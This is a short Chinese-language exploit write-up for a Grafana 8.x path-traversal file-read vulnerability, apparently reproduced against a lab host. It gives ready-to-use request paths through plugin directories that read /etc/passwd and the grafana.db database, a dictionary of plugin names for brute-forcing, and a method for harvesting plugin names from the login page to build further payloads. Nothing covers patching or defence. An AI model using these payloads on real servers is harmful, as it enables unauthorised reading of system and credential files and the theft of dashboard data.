Grafana存在任意文件读取漏洞,通过默认存在的插件,可构造特殊的请求包读取服务器任意文件
二、漏洞影响Grafana 8.x
三、漏洞复现可以从登陆页面看到版本信息为 v8.2.4,此版本在漏洞射程范围之内
查看当前所使用的插件:
/api/plugins?embedded=0 http://10.10.12.120:443/api/plugins?embedded=0
读取 /etc/passwd文件
POC: /public/plugins/welcome/../../../../../../../../../etc/passwd
读取 db 文件
POC: /public/plugins/welcome/../../../../../../../../var/lib/grafana/grafana.db
四、探测插件
因为环境的不同可能存在的插件也就不同
4.1 字典爆破可以直接去官网爬取字典:https://grafana.com/grafana/plugins/
一些比较热门的插件字典
alertmanager grafana loki postgres grafana-azure-monitor-datasource mixed prometheus cloudwatch graphite mssql tempo dashboard influxdb mysql testdata elasticsearch jaeger opentsdb zipkin alertGroups bargauge debug graph live piechart status-history timeseries alertlist candlestick gauge heatmap logs pluginlist table welcome annolist canvas geomap histogram news stat table-old xychart barchart dashlist gettingstarted icon nodeGraph state-timeline text4.2 页面抓取
查看网站登陆页面源代码,匹配关键字 public/app/plugins/panel/
猜测关键字后面的为插件名称,我们找个除了 welcome 这个插件的另外一个插件来测试
然后拼接 payload 为
/public/plugins/alertlist/../../../../../../../../../etc/passwd



